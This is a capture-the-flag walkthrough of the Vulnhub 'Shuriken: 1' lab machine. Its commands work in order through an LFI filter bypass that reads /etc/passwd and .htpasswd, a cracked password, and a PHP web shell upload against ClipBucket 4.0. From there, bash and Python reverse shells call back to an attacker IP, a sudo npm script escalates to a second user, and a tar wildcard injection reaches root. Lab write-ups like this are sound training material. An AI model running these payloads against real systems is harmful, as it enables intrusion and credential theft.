Vulnhub Shuriken: 1 Walkthrough
Tags: vulnhub, ctf
Published: 2020-12-06 19:57:02

Starting with the Nmap scan we can see that there are two ports open. Web server hosted on port 80 and another one on port 8080 which is filtered.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/zhn4b7j0rgtsyu86ni00.png)

The website looks fairly generic, you can navigate through sections and pages.

In the first part, we are supposed to enumerate through the javascript files to look for any useful information. There are two such files:
<b>/js/index__7ed54732.js</b>
<b>/js/index__d8338055.js</b>
I always start with one of the most common approaches which is to look for any links. 
For this purpose, I will use <a href='https://github.com/GerbenJavado/LinkFinder'><b>linkfinder</b></a>.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/xso3qahgn85gwvwf928l.png)

The script found two interesting links:
http://broadcast.shuriken.local
http://shuriken.local/index.php?referer=

The broadcast domain is secured with HTTP Basic Authorization which makes it unavailable to us.
In the second link, however, there is this <b>referer</b> query and it's actually vulnerable to basic LFI. It checks if the query contains "../" and gets rid of it. To bypass it typing in the query something like "..//" is enough. It accepts GET requests.
I will use <b>curl</b> for this purpose 
```
curl --url http://shuriken.local/index.php?referer=..//..//..//..//etc/passwd
```

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/myia26i1b9updn2gyisw.png)

It will be outputted in the page source as well. 
Since there exists a domain locked out with HTTP Authorization it has to means that there is <b>.htpasswd</b> file somewhere on the system. It's actually in a very common location which is `/etc/apache2/.htpasswd`
It's always a good practice to think about the file/information we are looking for. The website is hosted on the Apache2 web server. What is the apache2 directory structure? What are the rules? In order to secure the web page, we need to provide the full path to the `.htpasswd` file and this information is stored in the apache configuration file when you configure the domain. It's usually located in `/etc/apache2/sites-enabled/000-default.conf` and is readable by default. This reveals the full location of the `.htpasswd` file. 
Requesting this file gives encoded credentials.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/kb0ppwoz9swrh3mhutvb.png)

Supply them to <b>john/hashcat</b>

```
john hash.txt --wordlist=/etc/wordlists/rockyou.txt
```
username: developers
password: 9972761drmfsls

Now we can log in into `broadcast.shuriken.local`

It's a Clip Bucket instance used to share videos. It's easy to notice that the version used is <b>4.0</b> and apparently it has a publicly available exploit. 
<b>https://www.exploit-db.com/exploits/44250</b>
It's a text document that describes 3 different techniques to exploit it. Only `Arbitrary file upload` works but that's enough to achieve RCE. 
Prepare a php file with content like this:
```
<?php
system($_REQUEST['cmd']);
?>
```
Or pass reverse shell directly:
```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/8888 0>&1'");
?>

```

Upload prepared file with the given exploit.
Remember to authorize with correct credentials 
```
curl -F "file=@<file_name>" -F "plupload=1" -F "name=anyname.php" http://broadcast.shuriken.local/actions/photo_uploader.php -u developers:9972761drmfsls
```
Now locate where the file is stored.
In my case, it's `http://broadcast.shuriken.local/files/photos/2020/10/05/` + randomly generated file name. It depends on date and timestamp.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/jvgvu16ez1c1iqwml10f.png)

Now open the file and gain shell access. I uploaded a file with `cmd` query argument for versatility.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/ev5ujwx9scaqi3zz0cfz.png)

Python reverse shell:
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/2eg3zs4qwkezsb8p232t.png)

This `www-data` account has special privileges over the npm binary for node.js packages management. It can be called as user `server-management` which is the less privileged account for system administration.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/tu4q1s3ms223km5iy0t8.png)

As you can recall there is port 8080 open. It's a node.js staging application inside the server. That would make sense that there exists an account with elevated privileges over the `npm` binary. 
To escalate the privileges prepare an npm package with shellcode inside. 
Initialize new package with `npm init` this will create file named `package.json`.

Alter the script directive:
```
{
  "name": "tmp",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "shell": "/bin/bash"
  },
  "author": "",
  "license": "ISC"
}
```
Since nano doesn't work the fastest way is to upload such a file from your own machine. 
It's possible to use curl for this.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/bqf9qxh6rfa8vsjeh93o.png)

Now install the package
```
sudo -u server-management npm install
```
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/c8dg9jmkovijgka4coss.png)

Finally, execute the script
```
sudo -u server-management npm run-script shell
```
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/vzca2m6u8f6rcn5mkhdz.png)

And this way the <b>user</b> is owned.
Now it's time for the root part.
Looking into the crontab reveals that there is a job running every 2 minutes. It's a backup script.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/aezip8j9tm3xqxmlhwct.png)

It opens `/home/server-management/Documents` directory and creates a backup of it using wildcard(*) tar argument.
Such construction is vulnerable to wildcard injection.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/rw9dr6ddm3qwurmzb6s3.png) 

To exploit it first create a shell file inside `/home/server-management/Documents` directory containing a reverse shell. 
```
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.33\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh
```
Next create a <b>--checkpoint-action</b> for this file
```
echo "" > "--checkpoint-action=exec=sh shell.sh"
```
then create
```
echo "" > --checkpoint=1
```
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/wac00q4n1ncox3mgg7jr.png)

When the script will execute a connection to the Netcat listener will be returned. 

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/i/g3stah6fctom6tvs237n.png)

And that's the <b>root</b> access.